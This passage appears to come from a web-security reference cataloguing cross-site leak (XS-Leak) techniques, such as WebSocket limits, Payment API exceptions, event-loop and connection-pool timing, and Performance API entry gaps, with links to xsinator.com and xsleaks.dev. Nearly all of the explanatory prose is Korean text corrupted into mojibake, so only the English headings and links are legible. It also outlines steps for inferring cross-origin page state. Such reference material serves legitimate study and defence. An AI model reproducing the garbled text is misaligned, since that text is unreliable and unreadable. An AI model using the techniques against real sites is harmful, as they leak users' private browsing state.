- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: WebSocket ์ฐ๊ฒฐ ํ๊ณ๋ฅผ ์์งํ์ฌ ๊ต์ฐจ ์ถ์ฒ ํ์ด์ง์ WebSocket ์ฐ๊ฒฐ ์๋ฅผ ์ ์ถํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
๋์ ํ์ด์ง๊ฐ ์ฌ์ฉํ๋ WebSocket ์ฐ๊ฒฐ์ ์๋ฅผ ์๋ณํ ์ ์์ต๋๋ค. ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ํ๋ฅผ ๊ฐ์งํ๊ณ WebSocket ์ฐ๊ฒฐ ์์ ๊ด๋ จ๋ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์๊ฒ ํฉ๋๋ค.
ํ๋์ origin์ด ์ต๋ WebSocket ์ฐ๊ฒฐ ๊ฐ์ฒด ์๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด, ์ฐ๊ฒฐ ์ํ์ ๊ด๊ณ์์ด ์ ๊ฐ์ฒด์ ์์ฑ์ JavaScript ์์ธ๋ฅผ ๋ฐ์์ํต๋๋ค. ์ด ๊ณต๊ฒฉ์ ์คํํ๊ธฐ ์ํด ๊ณต๊ฒฉ์ ์น์ฌ์ดํธ๋ ๋์ ์น์ฌ์ดํธ๋ฅผ ํ์ ๋๋ iframe์์ ์ด๊ณ , ๋์ ์น์ด ๋ก๋๋ ํ ๊ฐ๋ฅํ ์ต๋ ์์ WebSocket ์ฐ๊ฒฐ์ ์์ฑํ๋ ค๊ณ ์๋ํฉ๋๋ค. ๋์ ธ์ง ์์ธ์ ์๋ ๋์ ์น์ฌ์ดํธ ์ฐฝ์์ ์ฌ์ฉ๋ WebSocket ์ฐ๊ฒฐ์ ์์ ๋๋ค.
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Payment Request๋ฅผ ๊ฐ์งํฉ๋๋ค. ํ ๋ฒ์ ํ๋๋ง ํ์ฑํ๋ ์ ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
์ด XS-Leak๋ ๊ณต๊ฒฉ์๊ฐ ๊ต์ฐจ ์ถ์ฒ ํ์ด์ง๊ฐ ๊ฒฐ์ ์์ฒญ์ ์์ํ ๋ ๊ฐ์งํ ์ ์๊ฒ ํฉ๋๋ค.
๊ฒฐ์ ์์ฒญ์ ํ ๋ฒ์ ํ๋๋ง ํ์ฑํ๋ ์ ์๊ธฐ ๋๋ฌธ์, ๋์ ์น์ฌ์ดํธ๊ฐ Payment Request API๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด, ์ด API๋ฅผ ์ฌ์ฉํ๋ ค๋ ์ถ๊ฐ ์๋๋ ์คํจํ๊ฒ ๋๊ณ JavaScript ์์ธ๋ฅผ ๋ฐ์์ํต๋๋ค. ๊ณต๊ฒฉ์๋ ์ฃผ๊ธฐ์ ์ผ๋ก Payment API UI๋ฅผ ํ์ํ๋ ค๊ณ ์๋ํ์ฌ ์ด๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค. ํ๋์ ์๋๊ฐ ์์ธ๋ฅผ ๋ฐ์์ํค๋ฉด, ๋์ ์น์ฌ์ดํธ๊ฐ ํ์ฌ ์ด๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ UI ์์ฑ ํ ์ฆ์ ๋ซ์ ์ด๋ฌํ ์ฃผ๊ธฐ์ ์ธ ์๋๋ฅผ ์จ๊ธธ ์ ์์ต๋๋ค.
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: ๋จ์ผ ์ค๋ ๋ JS ์ด๋ฒคํธ ๋ฃจํ๋ฅผ ์ ์ฉํ์ฌ ์น์ ์คํ ์๊ฐ์ ์ธก์ ํฉ๋๋ค.
- Code Example:
Event Loop Blocking + Lazy images
JavaScript๋ ๋จ์ผ ์ค๋ ๋ ์ด๋ฒคํธ ๋ฃจํ ๋์์ฑ ๋ชจ๋ธ์์ ์๋ํ๋ฉฐ, ์ด๋ ํ ๋ฒ์ ํ๋์ ์์ ๋ง ์คํํ ์ ์์์ ์๋ฏธํฉ๋๋ค. ์ด ํน์ฑ์ ๋ค๋ฅธ ์ถ์ฒ์ ์ฝ๋๊ฐ ์คํ๋๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ๊ณ ์ ์์ฑ์ ๊ฐ์ง ์ด๋ฒคํธ๋ฅผ ์ง์์ ์ผ๋ก ์ ์กํ์ฌ ์ด๋ฒคํธ ๋ฃจํ์์ ์์ ์ ์ฝ๋ ์คํ ์๊ฐ์ ์ธก์ ํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ด๋ฒคํธ๋ ์ด๋ฒคํธ ํ์ ๋น ๊ณต๊ฐ์ด ์์ ๋ ์ฒ๋ฆฌ๋ฉ๋๋ค. ๋ค๋ฅธ ์ถ์ฒ๋ ๋์ผํ ํ์ ์ด๋ฒคํธ๋ฅผ ์ ์กํ๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ์์ ์ ์์ ์คํ ์ง์ฐ์ ๊ด์ฐฐํ์ฌ ์ด๋ฌํ ์ธ๋ถ ์ด๋ฒคํธ๊ฐ ์คํ๋๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ถ๋ก ํ ์ ์์ต๋๋ค. ์ง์ฐ์ ๋ํ ์ด๋ฒคํธ ๋ฃจํ ๋ชจ๋ํฐ๋ง ๋ฐฉ๋ฒ์ ๋ค๋ฅธ ์ถ์ฒ์ ์ฝ๋ ์คํ ์๊ฐ์ ๋๋ฌ๋ด์ด ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ๋ ธ์ถํ ์ ์์ต๋๋ค.
Warning
์คํ ํ์ด๋ฐ์์๋ ๋ ์ ํํ ์ธก์ ๊ฐ์ ์ป๊ธฐ ์ํด ๋คํธ์ํฌ ์์ธ์ ์ ๊ฑฐํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์ด์ง๋ฅผ ๋ก๋ํ๊ธฐ ์ ์ ํ์ด์ง์์ ์ฌ์ฉํ๋ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํจ์ผ๋ก์จ ๊ฐ๋ฅํฉ๋๋ค.
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: ์น ์์ ์ ์คํ ์๊ฐ์ ์ธก์ ํ๋ ํ ๊ฐ์ง ๋ฐฉ๋ฒ์ ์ค๋ ๋์ ์ด๋ฒคํธ ๋ฃจํ๋ฅผ ์๋์ ์ผ๋ก ์ฐจ๋จํ ๋ค์ ์ด๋ฒคํธ ๋ฃจํ๊ฐ ๋ค์ ์ฌ์ฉ ๊ฐ๋ฅํด์ง๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๊ฒ์ ๋๋ค. ์ฐจ๋จ ์์ (์: ๊ธด ๊ณ์ฐ ๋๋ ๋๊ธฐ API ํธ์ถ)์ ์ด๋ฒคํธ ๋ฃจํ์ ์ฝ์ ํ๊ณ , ํ์ ์ฝ๋๊ฐ ์คํ๋๊ธฐ ์์ํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ๋ชจ๋ํฐ๋งํจ์ผ๋ก์จ ์ฐจ๋จ ๊ธฐ๊ฐ ๋์ ์ด๋ฒคํธ ๋ฃจํ์์ ์คํ ์ค์ด๋ ์์ ์ ์ง์ ์๊ฐ์ ์ถ๋ก ํ ์ ์์ต๋๋ค. ์ด ๊ธฐ์ ์ JavaScript์ ์ด๋ฒคํธ ๋ฃจํ๊ฐ ๋จ์ผ ์ค๋ ๋๋ก ์์ ์ ์์ฐจ์ ์ผ๋ก ์คํํ๋ ํน์ฑ์ ํ์ฉํ๋ฉฐ, ๋์ผํ ์ค๋ ๋๋ฅผ ๊ณต์ ํ๋ ๋ค๋ฅธ ์์ ์ ์ฑ๋ฅ์ด๋ ๋์์ ๋ํ ํต์ฐฐ๋ ฅ์ ์ ๊ณตํ ์ ์์ต๋๋ค.
- Code Example:
์ด๋ฒคํธ ๋ฃจํ๋ฅผ ์ ๊ธ์ผ๋ก์จ ์คํ ์๊ฐ์ ์ธก์ ํ๋ ๊ธฐ์ ์ ์ค์ํ ์ฅ์ ์ ์ฌ์ดํธ ๊ฒฉ๋ฆฌ๋ฅผ ์ฐํํ ์ ์๋ ์ ์ฌ๋ ฅ์ ๋๋ค. ์ฌ์ดํธ ๊ฒฉ๋ฆฌ๋ ์๋ก ๋ค๋ฅธ ์น์ฌ์ดํธ๋ฅผ ๋ณ๋์ ํ๋ก์ธ์ค๋ก ๋ถ๋ฆฌํ์ฌ ์ ์์ ์ธ ์ฌ์ดํธ๊ฐ ๋ค๋ฅธ ์ฌ์ดํธ์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ์ ์ง์ ์ ๊ทผํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ ๋ณด์ ๊ธฐ๋ฅ์ ๋๋ค. ๊ทธ๋ฌ๋ ๊ณต๊ฒฉ์๋ ๊ณต์ ์ด๋ฒคํธ ๋ฃจํ๋ฅผ ํตํด ๋ค๋ฅธ ์ถ์ฒ์ ์คํ ํ์ด๋ฐ์ ์ํฅ์ ๋ฏธ์นจ์ผ๋ก์จ ํด๋น ์ถ์ฒ์ ํ๋์ ๋ํ ์ ๋ณด๋ฅผ ๊ฐ์ ์ ์ผ๋ก ์ถ์ถํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ๋ค๋ฅธ ์ถ์ฒ์ ๋ฐ์ดํฐ์ ๋ํ ์ง์ ์ ์ธ ์ ๊ทผ์ ์์กดํ์ง ์๊ณ , ์คํ๋ ค ํด๋น ์ถ์ฒ์ ํ๋์ด ๊ณต์ ์ด๋ฒคํธ ๋ฃจํ์ ๋ฏธ์น๋ ์ํฅ์ ๊ด์ฐฐํ์ฌ ์ฌ์ดํธ ๊ฒฉ๋ฆฌ์ ์ํด ์ค์ ๋ ๋ณดํธ ์ฅ๋ฒฝ์ ํผํ ์ ์์ต๋๋ค.
Warning
์คํ ํ์ด๋ฐ์์๋ ๋ ์ ํํ ์ธก์ ๊ฐ์ ์ป๊ธฐ ์ํด ๋คํธ์ํฌ ์์ธ์ ์ ๊ฑฐํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์ด์ง๋ฅผ ๋ก๋ํ๊ธฐ ์ ์ ํ์ด์ง์์ ์ฌ์ฉํ๋ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํจ์ผ๋ก์จ ๊ฐ๋ฅํฉ๋๋ค.
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: ๊ณต๊ฒฉ์๋ 1๊ฐ๋ฅผ ์ ์ธํ ๋ชจ๋ ์์ผ์ ์ ๊ทธ๊ณ , ๋์ ์น์ ๋ก๋ํ๋ฉฐ ๋์์ ๋ค๋ฅธ ํ์ด์ง๋ฅผ ๋ก๋ํ ์ ์์ต๋๋ค. ๋ง์ง๋ง ํ์ด์ง๊ฐ ๋ก๋๋๊ธฐ ์์ํ๋ ์๊ฐ์ ๋์ ํ์ด์ง๊ฐ ๋ก๋๋๋ ๋ฐ ๊ฑธ๋ฆฐ ์๊ฐ์ ๋๋ค.
- Code Example:
๋ธ๋ผ์ฐ์ ๋ ์๋ฒ ํต์ ์ ์ํด ์์ผ์ ์ฌ์ฉํ์ง๋ง, ์ด์ ์ฒด์ ์ ํ๋์จ์ด์ ์ ํ๋ ์์์ผ๋ก ์ธํด ๋ธ๋ผ์ฐ์ ๋ ๋์ ์์ผ ์์ ์ ํ์ ๋์ด์ผ ํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ๋ค์ ๋จ๊ณ๋ฅผ ํตํด ์ด ์ ํ์ ์ ์ฉํ ์ ์์ต๋๋ค:
- ๋ธ๋ผ์ฐ์ ์ ์์ผ ํ๋๋ฅผ ํ์ธํฉ๋๋ค. ์๋ฅผ ๋ค์ด, 256๊ฐ์ ์ ์ญ ์์ผ.
- 255๊ฐ์ ์์ผ์ ๋ค์ํ ํธ์คํธ์ ๋ํ 255๊ฐ์ ์์ฒญ์ ์์ํ์ฌ ์ค๋ ์๊ฐ ๋์ ์ ์ ํ์ฌ ์ฐ๊ฒฐ์ ์ด์ด ๋ก๋๋ค.
- 256๋ฒ์งธ ์์ผ์ ์ฌ์ฉํ์ฌ ๋์ ํ์ด์ง์ ์์ฒญ์ ๋ณด๋ ๋๋ค.
- ๋ค๋ฅธ ํธ์คํธ์ ๋ํ 257๋ฒ์งธ ์์ฒญ์ ์๋ํฉ๋๋ค. ๋ชจ๋ ์์ผ์ด ์ฌ์ฉ ์ค์ด๋ฏ๋ก(2๋จ๊ณ์ 3๋จ๊ณ์ ๋ฐ๋ผ) ์ด ์์ฒญ์ ์์ผ์ด ์ฌ์ฉ ๊ฐ๋ฅํด์ง ๋๊น์ง ๋๊ธฐ์ด์ ๋์ด๊ฒ ๋ฉ๋๋ค. ์ด ์์ฒญ์ด ์งํ๋๊ธฐ๊น์ง์ ์ง์ฐ ์๊ฐ์ ๊ณต๊ฒฉ์์๊ฒ 256๋ฒ์งธ ์์ผ(๋์ ํ์ด์ง์ ์์ผ)๊ณผ ๊ด๋ จ๋ ๋คํธ์ํฌ ํ๋์ ๋ํ ์๊ฐ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด๋ 2๋จ๊ณ์์ 255๊ฐ์ ์์ผ์ด ์ฌ์ ํ ์ฌ์ฉ ์ค์ด๋ฏ๋ก, ์๋ก ์ฌ์ฉ ๊ฐ๋ฅํ ์์ผ์ 3๋จ๊ณ์์ ํด์ ๋ ์์ผ์ด์ด์ผ ํจ์ ์๋ฏธํฉ๋๋ค. ๋ฐ๋ผ์ 256๋ฒ์งธ ์์ผ์ด ์ฌ์ฉ ๊ฐ๋ฅํด์ง๋ ๋ฐ ๊ฑธ๋ฆฐ ์๊ฐ์ ๋์ ํ์ด์ง์ ๋ํ ์์ฒญ์ด ์๋ฃ๋๋ ๋ฐ ๊ฑธ๋ฆฐ ์๊ฐ๊ณผ ์ง์ ์ ์ผ๋ก ์ฐ๊ฒฐ๋ฉ๋๋ค.
๋ ๋ง์ ์ ๋ณด๋ https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/์์ ํ์ธํ์ธ์.
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info:
- Summary: ์ด์ ๊ธฐ์ ๊ณผ ์ ์ฌํ์ง๋ง ๋ชจ๋ ์์ผ์ ์ฌ์ฉํ๋ ๋์ Google Chrome์ ๋์ผํ ์ถ์ฒ์ ๋ํด 6๊ฐ์ ๋์ ์์ฒญ์ผ๋ก ์ ํํฉ๋๋ค. ๋ง์ฝ 5๊ฐ๋ฅผ ์ฐจ๋จํ๊ณ 6๋ฒ์งธ ์์ฒญ์ ์์ํ๋ฉด ์๊ฐ์ ์ธก์ ํ ์ ์์ผ๋ฉฐ, ํผํด์ ํ์ด์ง๊ฐ ๋์ผํ ์๋ํฌ์ธํธ์ ๋ ๋ง์ ์์ฒญ์ ๋ณด๋ด๋๋ก ๋ง๋ค ์ ์๋ค๋ฉด, 6๋ฒ์งธ ์์ฒญ์ ๋ ์ค๋ ๊ฑธ๋ฆฌ๊ฒ ๋์ด ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
Performance API Techniques
Performance API๋ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ์ฑ๋ฅ ๋ฉํธ๋ฆญ์ ๋ํ ํต์ฐฐ๋ ฅ์ ์ ๊ณตํ๋ฉฐ, Resource Timing API๋ก ๋์ฑ ํ๋ถํด์ง๋๋ค. Resource Timing API๋ ์์ฒญ์ ์ง์ ์๊ฐ๊ณผ ๊ฐ์ ์์ธํ ๋คํธ์ํฌ ์์ฒญ ํ์ด๋ฐ์ ๋ชจ๋ํฐ๋งํ ์ ์๊ฒ ํด์ค๋๋ค. ํนํ ์๋ฒ๊ฐ ์๋ต์ Timing-Allow-Origin: * ํค๋๋ฅผ ํฌํจํ๋ฉด ์ ์ก ํฌ๊ธฐ ๋ฐ ๋๋ฉ์ธ ์กฐํ ์๊ฐ๊ณผ ๊ฐ์ ์ถ๊ฐ ๋ฐ์ดํฐ๊ฐ ์ ๊ณต๋ฉ๋๋ค.
์ด ํ๋ถํ ๋ฐ์ดํฐ๋ performance.getEntries ๋๋ performance.getEntriesByName์ ๊ฐ์ ๋ฉ์๋๋ฅผ ํตํด ๊ฒ์ํ ์ ์์ผ๋ฉฐ, ์ฑ๋ฅ ๊ด๋ จ ์ ๋ณด์ ๋ํ ํฌ๊ด์ ์ธ ๋ทฐ๋ฅผ ์ ๊ณตํฉ๋๋ค. ๋ํ ์ด API๋ performance.now()์์ ์ป์ ํ์์คํฌํ์ ์ฐจ์ด๋ฅผ ๊ณ์ฐํ์ฌ ์คํ ์๊ฐ์ ์ธก์ ํ ์ ์๊ฒ ํด์ค๋๋ค. ๊ทธ๋ฌ๋ Chrome๊ณผ ๊ฐ์ ๋ธ๋ผ์ฐ์ ์ ํน์ ์์
์ ๋ํด performance.now()์ ์ ๋ฐ๋๊ฐ ๋ฐ๋ฆฌ์ด๋ก ์ ํ๋ ์ ์์ด ํ์ด๋ฐ ์ธก์ ์ ์ธ๋ฐํจ์ ์ํฅ์ ๋ฏธ์น ์ ์์ต๋๋ค.
ํ์ด๋ฐ ์ธก์ ์ธ์๋ Performance API๋ ๋ณด์ ๊ด๋ จ ํต์ฐฐ๋ ฅ์ ์ ๊ณตํ๋ ๋ฐ ํ์ฉ๋ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, Chrome์ performance ๊ฐ์ฒด์ ํ์ด์ง๊ฐ ์กด์ฌํ๋์ง ์ฌ๋ถ๋ X-Frame-Options์ ์ ์ฉ์ ๋ํ๋ผ ์ ์์ต๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, X-Frame-Options๋ก ์ธํด ํ๋ ์์์ ๋ ๋๋ง์ด ์ฐจ๋จ๋ ํ์ด์ง๋ performance ๊ฐ์ฒด์ ๊ธฐ๋ก๋์ง ์์ผ๋ฉฐ, ์ด๋ ํ์ด์ง์ ํ๋ ์ด๋ฐ ์ ์ฑ
์ ๋ํ ๋ฏธ์ธํ ๋จ์๋ฅผ ์ ๊ณตํฉ๋๋ค.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ์์ฒญ์ ๋ฆฌ์์ค ํ์ด๋ฐ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
HTTP ์๋ต ์ํ ์ฝ๋๋ฅผ ๊ตฌ๋ณํ ์ ์์ต๋๋ค. ์ค๋ฅ๋ก ์ด์ด์ง๋ ์์ฒญ์ ์ฑ๋ฅ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค.
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ๋ธ๋ผ์ฐ์ ๋ฒ๊ทธ๋ก ์ธํด ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ์์ฒญ์ด ๋ ๋ฒ ๋ก๋๋ฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
์ด์ ๊ธฐ์ ์์๋ ๋ก๋์ ์คํจํ ๋ฆฌ์์ค๊ฐ ๋ ๋ฒ ๋ก๋๋๋ ๋ธ๋ผ์ฐ์ ๋ฒ๊ทธ๊ฐ ์๋ ๋ ๊ฐ์ง ๊ฒฝ์ฐ๊ฐ ํ์ธ๋์์ต๋๋ค. ์ด๋ก ์ธํด Performance API์ ์ฌ๋ฌ ํญ๋ชฉ์ด ์์ฑ๋๋ฉฐ, ๋ฐ๋ผ์ ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ์์ฒญ์ ๋ณํฉ๋ ์ ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
์ด ๊ธฐ์ ์ ์ธ๊ธ๋ ๋ ผ๋ฌธ์ ํ์์ ๋ฐ๊ฒฌ๋์์ง๋ง, ๊ธฐ์ ์ ๋ํ ์ค๋ช ์ ๋ฐ๊ฒฌ๋์ง ์์์ต๋๋ค. ๊ทธ๋ฌ๋ https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak์์ ์์ค ์ฝ๋๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ๋น ์๋ต์ ๋ฆฌ์์ค ํ์ด๋ฐ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
๊ณต๊ฒฉ์๋ ์์ฒญ์ด ๋น HTTP ์๋ต ๋ณธ์ฒด๋ก ์ด์ด์ก๋์ง ๊ฐ์งํ ์ ์์ต๋๋ค. ์๋ํ๋ฉด ๋น ํ์ด์ง๋ ์ผ๋ถ ๋ธ๋ผ์ฐ์ ์์ ์ฑ๋ฅ ํญ๋ชฉ์ ์์ฑํ์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ๋ณด์ ์ฃผ์ฅ์์ XSS ๊ฐ์ฌ๊ธฐ๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์๋ ์กฐ์๋ ํ์ด๋ก๋๊ฐ ๊ฐ์ฌ๊ธฐ์ ํํฐ๋ง ๋ฉ์ปค๋์ฆ์ ํธ๋ฆฌ๊ฑฐํ ๋ ์๋ต์ ๋ณํ๋ฅผ ๊ด์ฐฐํ์ฌ ํน์ ์น ํ์ด์ง ์์๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
๋ณด์ ์ฃผ์ฅ(SA)์์ XSS ๊ฐ์ฌ๊ธฐ๋ ์๋ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS) ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์ค๊ณ๋์์ง๋ง, ์ญ์ค์ ์ผ๋ก ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ ์ถํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค. ์ด ๋ด์ฅ ๊ธฐ๋ฅ์ Google Chrome(GC)์์ ์ ๊ฑฐ๋์์ง๋ง, SA์์๋ ์ฌ์ ํ ์กด์ฌํฉ๋๋ค. 2013๋ Braun๊ณผ Heiderich๋ XSS ๊ฐ์ฌ๊ธฐ๊ฐ ํฉ๋ฒ์ ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ์ฐ์ฐํ ์ฐจ๋จํ์ฌ ์๋ชป๋ ๊ธ์ ์ ์ด๋ํ ์ ์์์ ๋ณด์ฌ์ฃผ์์ต๋๋ค. ์ด๋ฅผ ๋ฐํ์ผ๋ก ์ฐ๊ตฌ์๋ค์ ์ ๋ณด๋ฅผ ์ถ์ถํ๊ณ ๊ต์ฐจ ์ถ์ฒ ํ์ด์ง์์ ํน์ ์ฝํ ์ธ ๋ฅผ ๊ฐ์งํ๋ ๊ธฐ์ ์ ๊ฐ๋ฐํ์ต๋๋ค. ์ด ๊ฐ๋ ์ XS-Leaks๋ก ์๋ ค์ ธ ์์ผ๋ฉฐ, ์ฒ์์๋ Terada์ ์ํด ๋ณด๊ณ ๋์๊ณ Heyes์ ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ์์ ์์ธํ ์ค๋ช ๋์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ GC์ XSS ๊ฐ์ฌ๊ธฐ์ ํน์ ํ์ง๋ง, SA์์๋ XSS ๊ฐ์ฌ๊ธฐ์ ์ํด ์ฐจ๋จ๋ ํ์ด์ง๊ฐ Performance API์ ํญ๋ชฉ์ ์์ฑํ์ง ์์ผ๋ฏ๋ก ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ์ฌ์ ํ ์ ์ถ๋ ์ ์๋ ๋ฐฉ๋ฒ์ด ๋ฐํ์ก์ต๋๋ค.
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: X-Frame-Options ํค๋๊ฐ ์๋ ๋ฆฌ์์ค๋ ๋ฆฌ์์ค ํ์ด๋ฐ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
ํ์ด์ง๊ฐ iframe์์ ๋ ๋๋ง๋๋ ๊ฒ์ด ํ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ ์ฑ๋ฅ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ๊ณต๊ฒฉ์๋ ์๋ต ํค๋ **X-Frame-Options**๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
embed ํ๊ทธ๋ฅผ ์ฌ์ฉํ ๋๋ ๋ง์ฐฌ๊ฐ์ง์
๋๋ค.
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ๋ค์ด๋ก๋๋ Performance API์์ ๋ฆฌ์์ค ํ์ด๋ฐ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
์ค๋ช ๋ XS-Leak์ ์ ์ฌํ๊ฒ, ContentDisposition ํค๋๋ก ์ธํด ๋ค์ด๋ก๋๋๋ ๋ฆฌ์์ค๋ ์ฑ๋ฅ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค. ์ด ๊ธฐ์ ์ ๋ชจ๋ ์ฃผ์ ๋ธ๋ผ์ฐ์ ์์ ์๋ํฉ๋๋ค.
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ๋ฆฌ์์ค ํ์ด๋ฐ ํญ๋ชฉ์ ๋ฆฌ๋๋ ์ ์ ์์ ์๊ฐ์ ์ ์ถํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
์ผ๋ถ ๋ธ๋ผ์ฐ์ ๊ฐ ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ๋ํด ๋๋ฌด ๋ง์ ์ ๋ณด๋ฅผ ๊ธฐ๋กํ๋ ๋์์ ์ ์ฉํ๋ XS-Leak ์ธ์คํด์ค๋ฅผ ๋ฐ๊ฒฌํ์ต๋๋ค. ํ์ค์ ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค์ ๋ํด ์ค์ ํด์ผ ํ๋ ์์ฑ์ ํ์ ์งํฉ์ ์ ์ํฉ๋๋ค. ๊ทธ๋ฌ๋ SA์์๋ ์ฌ์ฉ์๊ฐ ๋์ ํ์ด์ง์ ์ํด ๋ฆฌ๋๋ ์ ๋์๋์ง ๊ฐ์งํ ์ ์์ต๋๋ค. Performance API๋ฅผ ์ฟผ๋ฆฌํ๊ณ redirectStart timing data๋ฅผ ํ์ธํจ์ผ๋ก์จ ๊ฐ๋ฅํฉ๋๋ค.
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: ๋ฆฌ๋๋ ์ ์ด ๋ฐ์ํ ๋ ํ์ด๋ฐ ํญ๋ชฉ์ ์ง์ ์๊ฐ์ด ์์์ ๋๋ค.
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
